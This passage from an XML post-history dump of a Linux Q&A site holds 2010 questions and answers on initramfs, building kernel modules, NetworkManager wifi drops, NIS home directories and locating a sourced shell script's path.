/boot/initrd.img-2.6.18-5-amd64`   &#xD;&#xA;&#xD;&#xA;So how is this initramfs linked to initrd.img ?  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://android.git.kernel.org/?p=kernel/common.git;a=blob;f=Documentation/filesystems/ramfs-rootfs-initramfs.txt;h=7be232b44ee4602f74dc0b75ed66d150c23a6aaf;hb=HEAD&#xD;&#xA;  [2]: http://askubuntu.com/questions/14961/what-is-the-difference-between-initrd-and-initramfs/14971#14971&#xD;&#xA;  [3]: http://wejn.org/how-to-make-passwordless-cryptsetup.html" />
  <row Id="10167" PostHistoryTypeId="2" PostId="4638" RevisionGUID="d61f3a95-7197-4654-a848-cfba5ad268e3" CreationDate="2010-12-08T05:24:41.680" UserId="2269" Text="hi,&#xD;&#xA;&#xD;&#xA;I have written one driver for one device in linux, How can i create(gcc with options) a *.ko file so that i can  insert it into the kernel.&#xD;&#xA;&#xD;&#xA;__Kanu" />
  <row Id="10168" PostHistoryTypeId="1" PostId="4638" RevisionGUID="d61f3a95-7197-4654-a848-cfba5ad268e3" CreationDate="2010-12-08T05:24:41.680" UserId="2269" Text="How to create *.ko files in Linux" />
  <row Id="10169" PostHistoryTypeId="3" PostId="4638" RevisionGUID="d61f3a95-7197-4654-a848-cfba5ad268e3" CreationDate="2010-12-08T05:24:41.680" UserId="2269" Text="élinuxà" />
  <row Id="10170" PostHistoryTypeId="4" PostId="4634" RevisionGUID="2f6dd084-2084-4100-a2ba-18a14403672f" CreationDate="2010-12-08T05:56:59.003" UserId="688" Comment="correction" Text="How to get Nautilus to &quot;Open with Archive Mounter&quot;?" />
  <row Id="10171" PostHistoryTypeId="6" PostId="2770" RevisionGUID="b2eb87bc-93a1-4929-ad9a-c9e694d50972" CreationDate="2010-12-08T06:15:43.240" UserId="688" Comment="edited tags" Text="ésoftwareörecàéimageöeditorà" />
  <row Id="10173" PostHistoryTypeId="2" PostId="4640" RevisionGUID="c4feae98-f632-48a8-ba68-db95b29943ff" CreationDate="2010-12-08T06:26:26.627" UserId="1779" Text="A ramdisk is a set of blocks that gets copied to an allocated chunk of memory, then treated as a block device.  A normal filesystem is created on the ramdisk.  The initrd (initial ramdisk) is a ramdisk that is mounted during bootup.&#xD;&#xA;&#xD;&#xA;The initramfs is something different.  It's a cpio archive of files that is loaded during bootup.  The kernel loads the contents into a virtual filesystem it calls rootfs.  Unlike a ramdisk, deleting files directly frees memory, and there's no extra filesystem and block layer involved.&#xD;&#xA;&#xD;&#xA;Both methods result in files being available to the kernel at boot time before any devices have been loaded, and so in practice you can achieve similar results with both.  Older systems use initrd (it was created before initramfs) but modern systems should all be using initramfs.  You may still see the word initrd in reference to something that is really an initramfs; it's just naming for compatibility's sake." />
  <row Id="10174" PostHistoryTypeId="2" PostId="4641" RevisionGUID="f192f230-430d-4796-b5c9-77846c745578" CreationDate="2010-12-08T06:29:41.553" UserId="1779" Text="Create a `Makefile` like this.&#xD;&#xA;&#xD;&#xA;    ifneq ($(KERNELRELEASE),)&#xD;&#xA;    obj-m   := mymodule.o&#xD;&#xA;    else&#xD;&#xA;    KDIR    := /lib/modules/$(shell uname -r)/build&#xD;&#xA;    PWD     := $(shell pwd)&#xD;&#xA;    all:&#xD;&#xA;            $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules&#xD;&#xA;    install:&#xD;&#xA;            $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules_install&#xD;&#xA;    %:&#xD;&#xA;            $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) $@&#xD;&#xA;    endif&#xD;&#xA;&#xD;&#xA;Assuming your module's source is in `mymodule.c`, running `make` will create `mymodule.ko`." />
  <row Id="10175" PostHistoryTypeId="2" PostId="4642" RevisionGUID="aae87c0e-3812-41d6-8255-4fca0359b9a9" CreationDate="2010-12-08T06:51:48.453" UserId="2759" Text="You should use [winetricks](http://wiki.winehq.org/winetricks) to install the files instead, some files needs specific changes to wine registery which `winetricks` handle." />
  <row Id="10176" PostHistoryTypeId="2" PostId="4643" RevisionGUID="3af2a08e-02ce-48ac-a383-35bc40c0cdb7" CreationDate="2010-12-08T07:13:57.883" UserId="1946" Text="It is very unlikely that a mechanism for this exists.  Just think about how many ways there are to change the value of an env variable in the shell.&#xD;&#xA;&#xD;&#xA;You may have some luck with `set -x` though." />
  <row Id="10177" PostHistoryTypeId="5" PostId="4634" RevisionGUID="b8723a48-f089-48b8-bd82-ac70c925c185" CreationDate="2010-12-08T07:21:12.440" UserId="688" Comment="add GNOME version" Text="I see Ubuntu screenshots showing that one can right-click an ISO, and have an option to &quot;Open with Archive Mount&quot;. How do I get that running elsewhere where it isn't default (Debian in my case)? This is so as to avoid having to use the command-line to loop-mount it.&#xD;&#xA;&#xD;&#xA;Note that I use GNOME **2.30**." />
  <row Id="10178" PostHistoryTypeId="2" PostId="4644" RevisionGUID="c49e3f0d-594a-4358-9482-e7dd55eeeb15" CreationDate="2010-12-08T07:35:27.303" UserId="2567" Text="The window *is not* the application in MacOS, in MacOS the windows connects to the application. That is why the application don't exit when you close a window. &#xD;&#xA;&#xD;&#xA;On Windows the window *is* the application, that is why the the application should exit when you hit the exit button.&#xD;&#xA;&#xD;&#xA;On Linux the developer decide what architecture he like to use, both ways is possible..." />
  <row Id="10179" PostHistoryTypeId="2" PostId="4645" RevisionGUID="7ecbda45-68ee-423d-a61e-b25610a8b2ce" CreationDate="2010-12-08T07:41:33.180" UserId="688" Text="I am using NetworkManager to automagically handle my networking on my wifi-powered laptop. Sadly, I tend to get randomly disconnected, and I see these messages on __/var/log/syslog__:&#xD;&#xA;&#xD;&#xA;    Dec  8 09:12:52 debian NetworkManager[6501]: &lt;info&gt; (wlan0): device state change: 8 -&gt; 2 (reason 0)&#xD;&#xA;    Dec  8 09:12:52 debian NetworkManager[6501]: &lt;info&gt; (wlan0): deactivating device (reason: 0).&#xD;&#xA;    Dec  8 09:12:52 debian NetworkManager[6501]: &lt;info&gt; (wlan0): canceled DHCP transaction, DHCP client pid 12017&#xD;&#xA;    Dec  8 09:12:52 debian NetworkManager[6501]: &lt;error&gt; [1291792372.805429] [nm-system.c:1229] check_one_route(): (wlan0): error -34 returned from rtnl_route_del(): Netlink Error (errno = Numerical result out of range)&#xD;&#xA;    Dec  8 09:12:52 debian NetworkManager[6501]: &lt;info&gt; (wlan0): removing resolv.conf from /sbin/resolvconf&#xD;&#xA;    Dec  8 09:12:52 debian avahi-daemon[1497]: Withdrawing address record for 10.0.0.4 on wlan0.&#xD;&#xA;    Dec  8 09:12:52 debian avahi-daemon[1497]: Leaving mDNS multicast group on interface wlan0.IPv4 with address 10.0.0.4.&#xD;&#xA;    Dec  8 09:12:52 debian avahi-daemon[1497]: Interface wlan0.IPv4 no longer relevant for mDNS.&#xD;&#xA;    Dec  8 09:12:52 debian kernel: [104334.224257] wlan0: deauthenticating from 00:30:0a:eb:3d:60 by local choice (reason=3)&#xD;&#xA;    Dec  8 09:12:52 debian NetworkManager[6501]: &lt;info&gt; (wlan0): taking down device.&#xD;&#xA;    Dec  8 09:12:52 debian avahi-daemon[1497]: Interface wlan0.IPv6 no longer relevant for mDNS.&#xD;&#xA;    Dec  8 09:12:52 debian avahi-daemon[1497]: Leaving mDNS multicast group on interface wlan0.IPv6 with address fe80::21d:e0ff:fe69:2807.&#xD;&#xA;    Dec  8 09:12:52 debian avahi-daemon[1497]: Withdrawing address record for fe80::21d:e0ff:fe69:2807 on wlan0.&#xD;&#xA;&#xD;&#xA;I recover from this situation with the following command each time this happens, but a less manual solution/workaround would be extra nice:&#xD;&#xA;&#xD;&#xA;    nmcli nm wifi off &amp;&amp; nmcli nm wifi on&#xD;&#xA;&#xD;&#xA;[__note__] NetworkManager I use is **0.8.1** and I use Intel's **4965** wifi chipset." />
  <row Id="10180" PostHistoryTypeId="1" PostId="4645" RevisionGUID="7ecbda45-68ee-423d-a61e-b25610a8b2ce" CreationDate="2010-12-08T07:41:33.180" UserId="688" Text="Wifi and NetworkManager problems" />
  <row Id="10181" PostHistoryTypeId="3" PostId="4645" RevisionGUID="7ecbda45-68ee-423d-a61e-b25610a8b2ce" CreationDate="2010-12-08T07:41:33.180" UserId="688" Text="édebianàénetworkmanagerà" />
  <row Id="10183" PostHistoryTypeId="2" PostId="4646" RevisionGUID="9eecdeb6-0644-4db5-8de4-e60c021a479b" CreationDate="2010-12-08T10:19:38.953" UserId="2914" Text="Hi All&#xD;&#xA;&#xD;&#xA;I have iptables firewall in Linux bridge (RHEL5). I want to extract information like IP address, port number, port type, data and time etc from log message using Bash script and want to upload in mysql database to generate the reports.&#xD;&#xA;&#xD;&#xA;How can I do this?? Is there any way to do??&#xD;&#xA;&#xD;&#xA;Kind Regards,&#xD;&#xA;Jack " />
  <row Id="10184" PostHistoryTypeId="1" PostId="4646" RevisionGUID="9eecdeb6-0644-4db5-8de4-e60c021a479b" CreationDate="2010-12-08T10:19:38.953" UserId="2914" Text="Bash script and Database" />
  <row Id="10185" PostHistoryTypeId="3" PostId="4646" RevisionGUID="9eecdeb6-0644-4db5-8de4-e60c021a479b" CreationDate="2010-12-08T10:19:38.953" UserId="2914" Text="érhelà" />
  <row Id="10186" PostHistoryTypeId="2" PostId="4647" RevisionGUID="7cb3cd09-5cac-455f-aa9d-11755bf2ae97" CreationDate="2010-12-08T12:53:04.233" UserId="2180" Text="If you're using syslog-ng, there is a great guide [here][1]. He sets up a queue: syslog-ng writes to it, and he has a consumer that reads from it and performs an SQL insert.&#xD;&#xA;&#xD;&#xA;If you are using rsyslogd, it has [native support for mysql][2], but I'd still recommend the message-passing method of the first article; especially if you have high traffic spikes since the database insert takes a substantial amount of time (comparatively).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vermeer.org/docs/1&#xD;&#xA;  [2]: http://www.rsyslog.com/doc/rsyslog_mysql.html" />
  <row Id="10187" PostHistoryTypeId="2" PostId="4648" RevisionGUID="c7390014-e1cb-4d36-8280-2cf1930433d5" CreationDate="2010-12-08T13:37:15.867" UserId="2973" Text="I found this feature request which suggests that it is part of the nautilus package: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=529297&#xD;&#xA;&#xD;&#xA;I found the file &quot;mount-archive.desktop&quot; at: http:// bazaar.launchpad.net/~ubuntu-branches/ubuntu/natty/nautilus/natty/annotate/head:/debian/mount-archive.desktop&#xD;&#xA;&#xD;&#xA;(sorry I had to put a space in the above link because I don't have enough reputation yet to post more than one link)" />
  <row Id="10188" PostHistoryTypeId="5" PostId="4148" RevisionGUID="1753ee8e-4a63-4de0-9da3-41cb4b52e3ff" CreationDate="2010-12-08T14:11:56.257" UserId="2700" Comment="Describe what I've tried re: compile flags" Text="I'm using SSH (with -X specified) from a Ubuntu box to a RHEL4 box and running GVim. It opens as expected in my local X, but the copy and paste via select doesn't work. I cannot select text in GVim and paste in a local window, nor can I select text from a local window and paste in GVim. This works, however, when I SSH (with -X specified) to a different RHEL4 box.&#xD;&#xA;&#xD;&#xA;Is there something I need to install on the remote machine?&#xD;&#xA;&#xD;&#xA;***EDIT***: &#xD;&#xA;I'm suspecting that it has something to do with the compile flags I used, but I don't have a clue which one.  I've tried `--enable-gnome-check` and `--enable-gtk2-check`, since I'm running gnome on my local machine, but that did not resolve the issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - Thanks for the help so far, guys.&#xD;&#xA; - To clarify, copy/paste via select&#xD;&#xA;   works on a GVim window spawned from&#xD;&#xA;   box A, but not on a GVim window&#xD;&#xA;   spawned from box B. Both box A and&#xD;&#xA;   box B are RHEL4 U8. &#xD;&#xA; - When I select&#xD;&#xA;   some text in the GVim window, I can&#xD;&#xA;   paste it via right-click within that&#xD;&#xA;   window, but I cannot paste it into&#xD;&#xA;   anything running locally.  When I&#xD;&#xA;   select something locally, I can paste&#xD;&#xA;   it locally but when I paste into the&#xD;&#xA;   GVim window, it pastes the last thing&#xD;&#xA;   selected in the GVim window, not the&#xD;&#xA;   last thing selected locally.&#xD;&#xA; - Just to make it a bit freakier, *sometimes* I open a second GVim window from the same box, I can paste into that second window (though still not the first), but I still cannot select something in that window and paste it locally.&#xD;&#xA; - I get the same behaviour using Ctrl-Shift-C.  Holding shift while selecting with the mouse prevents selecting.  Ctrl-Shift-V starts block selection in vim, not pasting.&#xD;&#xA; - I am running Parcellite 0.9.2 on the local box, but closing it doesn't make the problem go away, and it is not interfering with the other box.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - The machine that is presenting the problem is a vitual machine running on VM Player.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - A co-worker that is also SSHing to a virtual RHES4 U8 box does not have the same issue but he used the **stock vim install** on the VM whereas myself and another co-worker with the problem **compiled vim from source**.  Could there be a compile flag we need?&#xD;&#xA; - I tried installing VM tools on one of the VMs, but it had no effect on this issue.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - The .vimrc between my two boxes is the same, scp'ed over." />
  <row Id="10189" PostHistoryTypeId="5" PostId="4148" RevisionGUID="d186ff1c-265b-42d5-a78d-29677cc183aa" CreationDate="2010-12-08T14:52:49.997" UserId="2700" Comment="further details of the problem" Text="I'm using SSH (with -X specified) from a Ubuntu box to a RHEL4 box and running GVim. It opens as expected in my local X, but the copy and paste via select doesn't work. I cannot select text in GVim and paste in a local window, nor can I select text from a local window and paste in GVim. This works, however, when I SSH (with -X specified) to a different RHEL4 box.&#xD;&#xA;&#xD;&#xA;Is there something I need to install on the remote machine?&#xD;&#xA;&#xD;&#xA;***EDIT***: &#xD;&#xA;I'm suspecting that it has something to do with the compile flags I used, but I don't have a clue which one.  I've tried `--enable-gnome-check` and `--enable-gtk2-check`, since I'm running gnome on my local machine, but that did not resolve the issue.&#xD;&#xA;&#xD;&#xA;***EDIT***: Running `vim --version` on both versions of vim shows many differences, the most notable being that the machine which has no issue is for the *GTK* GUI and the machine which does have an issue is for the *X11-Motif* GUI.  I can't configure the problem box to use *GTK* though since I don't have everything I need installed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - Thanks for the help so far, guys.&#xD;&#xA; - To clarify, copy/paste via select&#xD;&#xA;   works on a GVim window spawned from&#xD;&#xA;   box A, but not on a GVim window&#xD;&#xA;   spawned from box B. Both box A and&#xD;&#xA;   box B are RHEL4 U8. &#xD;&#xA; - When I select&#xD;&#xA;   some text in the GVim window, I can&#xD;&#xA;   paste it via right-click within that&#xD;&#xA;   window, but I cannot paste it into&#xD;&#xA;   anything running locally.  When I&#xD;&#xA;   select something locally, I can paste&#xD;&#xA;   it locally but when I paste into the&#xD;&#xA;   GVim window, it pastes the last thing&#xD;&#xA;   selected in the GVim window, not the&#xD;&#xA;   last thing selected locally.&#xD;&#xA; - Just to make it a bit freakier, *sometimes* I open a second GVim window from the same box, I can paste into that second window (though still not the first), but I still cannot select something in that window and paste it locally.&#xD;&#xA; - I get the same behaviour using Ctrl-Shift-C.  Holding shift while selecting with the mouse prevents selecting.  Ctrl-Shift-V starts block selection in vim, not pasting.&#xD;&#xA; - I am running Parcellite 0.9.2 on the local box, but closing it doesn't make the problem go away, and it is not interfering with the other box.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - The machine that is presenting the problem is a vitual machine running on VM Player.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - A co-worker that is also SSHing to a virtual RHES4 U8 box does not have the same issue but he used the **stock vim install** on the VM whereas myself and another co-worker with the problem **compiled vim from source**.  Could there be a compile flag we need?&#xD;&#xA; - I tried installing VM tools on one of the VMs, but it had no effect on this issue.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - The .vimrc between my two boxes is the same, scp'ed over." />
  <row Id="10190" PostHistoryTypeId="2" PostId="4649" RevisionGUID="97e060c1-04e8-4dbf-b19e-989ef254fe79" CreationDate="2010-12-08T14:56:02.340" UserId="2063" Text="I have one server and one client machine.&#xD;&#xA;&#xD;&#xA;In Server, I have configured NIS, and /home/guest/nis1 is shared through NFS. Both NFS and NIS are configured in same server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In client, I have configured autofs to export home directory of NIS user. When I try to login in client from nis1 username then I got the following error message.&#xD;&#xA;&#xD;&#xA;Could not chdir to home directory /home/guest/nis1: Permission denied&#xD;&#xA;-bash: /home/guest/nis1/.bash_profile: Permission denied&#xD;&#xA;-bash-3.1$&#xD;&#xA;&#xD;&#xA;How Can i troubleshot??" />
  <row Id="10191" PostHistoryTypeId="1" PostId="4649" RevisionGUID="97e060c1-04e8-4dbf-b19e-989ef254fe79" CreationDate="2010-12-08T14:56:02.340" UserId="2063" Text="Problem with NIS. " />
  <row Id="10192" PostHistoryTypeId="3" PostId="4649" RevisionGUID="97e060c1-04e8-4dbf-b19e-989ef254fe79" CreationDate="2010-12-08T14:56:02.340" UserId="2063" Text="éadministrationàénisà" />
  <row Id="10193" PostHistoryTypeId="2" PostId="4650" RevisionGUID="ed968059-b912-4da9-a7a1-3c7ab19e063b" CreationDate="2010-12-08T15:02:48.430" UserId="2376" Text="Is there a way for a *sourced* shell script to find out the path to itself? I'm mainly concerned with bash, though I have some coworkers who use tcsh.&#xD;&#xA;&#xD;&#xA;I'm guessing I may not have a ton of luck here, since sourcing causes commands to be executed in the current shell, so `$0` is still the current shell's invocation, not the sourced script. My best thought currently is to do `source $script $script`, so that the first positional parameter contains the necessary information. Anyone have a better way?" />
  <row Id="10194" PostHistoryTypeId="1" PostId="4650" RevisionGUID="ed968059-b912-4da9-a7a1-3c7ab19e063b" CreationDate="2010-12-08T15:02:48.430" UserId="2376" Text="determining path to sourced shell script" />
  <row Id="10195" PostHistoryTypeId="3" PostId="4650" RevisionGUID="ed968059-b912-4da9-a7a1-3c7ab19e063b" CreationDate="2010-12-08T15:02:48.430" UserId="2376" Text="éshellàésourceà" />
  <row Id="10196" PostHistoryTypeId="5" PostId="2215" RevisionGUID="99dca8b5-8b20-4547-9cf8-6d5e4761ea0b" CreationDate="2010-12-08T15:06:11.800" UserId="29" Comment="typo correction, and a hint from michael" Text="I've never seen anyone say &quot;minus&quot; outside of a *math* scenario (to mean subtract), &quot;dash&quot; is appropriate and will be more common, this isn't a Unix thing, this was just this one person. We do have other lingo though, e.g. `#!` is pronounced *shebang*.&#xD;&#xA;&#xD;&#xA;[Here's a link to the current Jargon File for ASCII and how they're said][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.catb.org/jargon/html/A/ASCII.html" />
  <row Id="10197" PostHistoryTypeId="2" PostId="4651" RevisionGUID="d08ae780-6c20-4b6b-ac4b-17ddeb9117c4" CreationDate="2010-12-08T15:32:06.773" UserId="629" Text="Short answer: you can't.&#xD;&#xA;A .ko file is more than just a compiled version of your driver source.&#xD;&#xA;The kernel build system includes some extra information for instance (compiler version, module dependencies, ...).&#xD;&#xA;&#xD;&#xA;You can probably dig through the kernel build system to find all required operations, but you shouldn't. It will almost certainly break with the next kernel release, or the one after that. You should use the makefile ephemient supplied." />
  <row Id="10198" PostHistoryTypeId="2" PostId="4652" RevisionGUID="fa058e30-bf65-45de-a035-909a94609e0d" CreationDate="2010-12-08T15:44:56.930" UserId="676" Text="I happen to like Mint as a base for a LiveUSB along with changes that I applied to the iso using Remastersys.  This allows me to add additional packages along with patching the system to have all the latest fixes.  I tend to remaster the iso every couple of weeks so I have a very up to date version that I keep with me.  This is very useful so I can visit other people and boot off my image without needing to trust that their computer is free of viruses and spyware.&#xD;&#xA;&#xD;&#xA;http://www.geekconnection.org/remastersys/ubuntu.html&#xD;&#xA;" />
  <row Id="10199" PostHistoryTypeId="2" PostId="4653" RevisionGUID="4fb26837-7ab6-4a7a-9bb8-7d85728e5c98" CreationDate="2010-12-08T15:52:41.657" UserId="2661" Text="I think that you could use `$BASH_SOURCE` variable. It returns path that was executed:&#xD;&#xA;&#xD;&#xA;    pbm@tauri ~ $ /home/pbm/a.sh &#xD;&#xA;    /home/pbm/a.sh&#xD;&#xA;    pbm@tauri ~ $ ./a.sh&#xD;&#xA;    ./a.sh&#xD;&#xA;    pbm@tauri ~ $ source /home/pbm/a.sh &#xD;&#xA;    /home/pbm/a.sh&#xD;&#xA;    pbm@tauri ~ $ source ./a.sh&#xD;&#xA;    ./a.sh&#xD;&#xA;&#xD;&#xA;So in next step we should check if path is relative or not. If it's not relative everything is ok. If it is we could check path with `pwd`, concatenate with `/` and `$BASH_SOURCE`." />
  <row Id="10200" PostHistoryTypeId="2" PostId="4654" RevisionGUID="c5beea14-275d-405f-b404-a9d019891e1f" CreationDate="2010-12-08T16:15:15.050" UserId="732" Text="Actually, &quot;dirname $0&quot; will get you the path to the script, but you have to interpret it a bit:&#xD;&#xA;&#xD;&#xA;    $ cat bash0&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    echo \$0=$0&#xD;&#xA;    dirname $0&#xD;&#xA;    $ bash0    # &quot;.&quot; appears in PATH right now.&#xD;&#xA;    $0=./bash0&#xD;&#xA;    .&#xD;&#xA;    $ ./bash0&#xD;&#xA;    $0=./bash0&#xD;&#xA;    .&#xD;&#xA;    $ $PWD/bash0&#xD;&#xA;    $0=/home/00/bediger/src/ksh/bash0&#xD;&#xA;    /home/00/bediger/src/ksh&#xD;&#xA;    $ $PWD/../ksh/bash0&#xD;&#xA;    $0=/home/00/bediger/src/ksh/../ksh/bash0&#xD;&#xA;    /home/00/bediger/src/ksh/../ksh&#xD;&#xA;    $ ../ksh/bash0&#xD;&#xA;    $0=../ksh/bash0&#xD;&#xA;    ../ksh&#xD;&#xA;&#xD;&#xA;You have to prepare to handle &quot;.&quot; as the directory name under some common circumstances.  I'd experiment a bit, as I remember the dirname built-in to ksh doing things a bit differently when &quot;.&quot; appears in PATH." />
  <row Id="10201" PostHistoryTypeId="2" PostId="4655" RevisionGUID="cff2087b-fcba-4339-9df6-8866d38fc7a2" CreationDate="2010-12-08T16:30:39.747" UserId="2831" Text="There's a new version of Unity Linux that can be used to create a live USB from a HD install. Just tune the HD install the way you want it and then install to live USB.&#xD;&#xA;&#xD;&#xA;&gt; The 2010.2 release provides many&#xD;&#xA;&gt; updates to core packages, much more&#xD;&#xA;&gt; stability, refinements to the core&#xD;&#xA;&gt; tools of the project like mklivecd and&#xD;&#xA;&gt; unity-installer.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Since our 2010.1 Final Release the&#xD;&#xA;&gt; changes include:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     * Updated toolchain, openssl, xorg, python, mono, smart, drak tools,&#xD;&#xA;&gt; kernel 2.6.35.7, repository&#xD;&#xA;&gt; restructuring and snapshot of the 2010&#xD;&#xA;&gt; repository.&#xD;&#xA;&gt;     * Addition of more than 2000 packages to bring the total to over&#xD;&#xA;&gt; 10,600 packages per architecture.&#xD;&#xA;&gt;     * XFCE 4.6.2, KDE 4.5.1 (but 4.5.3 can be found in the Synergy&#xD;&#xA;&gt; repository), Gnome 2.32.0, Openbox&#xD;&#xA;&gt; 3.4.11.2, E17 0.16.999.52995 and EFL beta libraries as well as several&#xD;&#xA;&gt; proprietary video drivers for Nvidia&#xD;&#xA;&gt; and ATI.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Our work for the past 5 months has&#xD;&#xA;&gt; been concentrated on making branding&#xD;&#xA;&gt; easier, adding functionality to the&#xD;&#xA;&gt; unity-installer to allow installation&#xD;&#xA;&gt; of a livecd with a command line&#xD;&#xA;&gt; interface, the release of mklivecd&#xD;&#xA;&gt; 0.8.0. Also be sure to note several new howtos over in the wiki&#xD;&#xA;&gt; (http://docs.unity-linux.org/Category:HowTos)&#xD;&#xA;&gt; &#xD;&#xA;&gt; As mentioned above, the main branching&#xD;&#xA;&gt; tool, mklivecd, got a lot of&#xD;&#xA;&gt; attention:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     * Major code clean up&#xD;&#xA;&gt;     * Support for plymouth (optional)&#xD;&#xA;&gt;     * Added switch for no splash&#xD;&#xA;&gt;     * i18n support&#xD;&#xA;&gt;     * A redesigned mkremaster interface which allows to:&#xD;&#xA;&gt; &#xD;&#xA;&gt;         * Remaster your current live/installed system and make an ISO&#xD;&#xA;&gt; out of it&#xD;&#xA;&gt;         * Build an ISO from scratch using selected rpms&#xD;&#xA;&gt;         * Create a live USB starting from any ISO or LiveCD&#xD;&#xA;&gt; &#xD;&#xA;&gt; Another very notable mention is the&#xD;&#xA;&gt; possibility to use unity-installer via&#xD;&#xA;&gt; the command line interface without&#xD;&#xA;&gt; Xorg running. This refinement allows&#xD;&#xA;&gt; the livecd to be installed with as&#xD;&#xA;&gt; little as 64MB of RAM.&#xD;&#xA;&gt; " />
  <row Id="10202" PostHistoryTypeId="5" PostId="4650" RevisionGUID="44eeea27-9717-43ad-a2d2-656e00025cb9" CreationDate="2010-12-08T16:32:29.247" UserId="2376" Comment="added 83 characters in body" Text="Is there a way for a *sourced* shell script to find out the path to itself? I'm mainly concerned with bash, though I have some coworkers who use tcsh.&#xD;&#xA;&#xD;&#xA;I'm guessing I may not have a ton of luck here, since sourcing causes commands to be executed in the current shell, so `$0` is still the current shell's invocation, not the sourced script. My best thought currently is to do `source $script $script`, so that the first positional parameter contains the necessary information. Anyone have a better way?&#xD;&#xA;&#xD;&#xA;To be clear, I am *sourcing* the script, not running it:&#xD;&#xA;&#xD;&#xA;    source foo.bash" />
  <row Id="10203" PostHistoryTypeId="2" PostId="4656" RevisionGUID="be738fc2-059b-4ac2-b241-d5a4fe25196c" CreationDate="2010-12-08T18:22:45.827" UserId="3009" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm trying to rebuild [ELDK 4.0][1], which uses Fedora Core 4 as its base. Can anyone direct me to a mirror that still hosts the files? Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.denx.de/wiki/view/DULG/ELDKRebuilding#Section_3.10.2." />
  <row Id="10204" PostHistoryTypeId="1" PostId="4656" RevisionGUID="be738fc2-059b-4ac2-b241-d5a4fe25196c" CreationDate="2010-12-08T18:22:45.827" UserId="3009" Text="Mirror for Fedora core 4 still available?" />
  <row Id="10205" PostHistoryTypeId="3" PostId="4656" RevisionGUID="be738fc2-059b-4ac2-b241-d5a4fe25196c" CreationDate="2010-12-08T18:22:45.827" UserId="3009" Text="élinuxàéfedoraà" />
  <row Id="10206" PostHistoryTypeId="2" PostId="4657" RevisionGUID="1a0056cc-1b0e-4d53-81cf-1578d47c7746" CreationDate="2010-12-08T19:06:25.930" UserId="885" Text="Old Fedora releases are kept in http://archive.fedoraproject.org/pub/archive/fedora/, for example [Fedora Core 4](http://archive.fedoraproject.org/pub/archive/fedora/linux/core/4/).&#xD;&#xA;" />
  <row Id="10207" PostHistoryTypeId="6" PostId="4646" RevisionGUID="b62dd0e4-ccdf-43a1-852a-1fea94e9b531" CreationDate="2010-12-08T19:27:49.303" UserId="885" Comment="edited tags" Text="érhelàéiptablesàémysqlàésyslogà" />
  <row Id="10208" PostHistoryTypeId="2" PostId="4658" RevisionGUID="ce4c7eb1-561b-4efe-ab52-8f2ea24dc294" CreationDate="2010-12-08T19:27:58.197" UserId="382" Text="In `tcsh`, `$_` at the beginning of the script will contain the location if the file was sourced and `$0` contains it if it was run.&#xD;&#xA;&#xD;&#xA;    #!/bin/tcsh&#xD;&#xA;    set sourced=($_)&#xD;&#xA;    if (&quot;$sourced&quot; != &quot;&quot;) then&#xD;&#xA;        echo &quot;sourced $sourced[2]&quot;&#xD;&#xA;    endif&#xD;&#xA;    if (&quot;$0&quot; != &quot;tcsh&quot;) then&#xD;&#xA;        echo &quot;run $0&quot;&#xD;&#xA;    endif&#xD;&#xA;&#xD;&#xA;In Bash:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    called=$_&#xD;&#xA;    [[ $called != $0 ]] &amp;&amp; echo &quot;Script is being sourced&quot; || echo &quot;Script is being run&quot;&#xD;&#xA;    echo &quot;\$BASH_SOURCE ${BASH_SOURCE[@]}&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10209" PostHistoryTypeId="2" PostId="4659" RevisionGUID="68035dd8-30e5-46d2-b3d8-f7f36ab94320" CreationDate="2010-12-08T19:48:24.690" UserId="885" Text="Typically `PATH` is set to an initial value in a highly system-dependent way by the program that logs you in ([`pam_env`](http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_env.html) is a common contributor), then `/etc/profile` and `~/.profile` and files that they include go on to modify that value.&#xD;&#xA;&#xD;&#xA;Remove any change to `PATH` in `.bashrc`, environment settings don't below there: see [Difference between .bashrc and .bash_profile](http://superuser.com/questions/183870/difference-between-bashrc-and-bash-profile/183980#183980).&#xD;&#xA;&#xD;&#xA;First try logging in in text mode (e.g. with `ssh localhost`), as the session startup is a lot simpler than in graphics mode.&#xD;&#xA;&#xD;&#xA;Put `set -x` at the beginning of `/etc/profile` and `~/.profile`. The shell will print a trace of what it does on its standard error stream; look for assignments to `PATH` in the trace.&#xD;&#xA;&#xD;&#xA;There is no notion of precedence to environment variable assignments: whoever assigns last wins.&#xD;&#xA;" />
  <row Id="10210" PostHistoryTypeId="5" PostId="4638" RevisionGUID="05ca9adb-3e5f-4778-ac92-041da9bc7515" CreationDate="2010-12-08T20:14:33.300" UserId="73" Comment="deleted 21 characters in body; edited tags; edited title" Text="I have written one driver for one device in Linux. How can I create (using `gcc`) a `.ko` file so that I can insert it into the kernel?" />
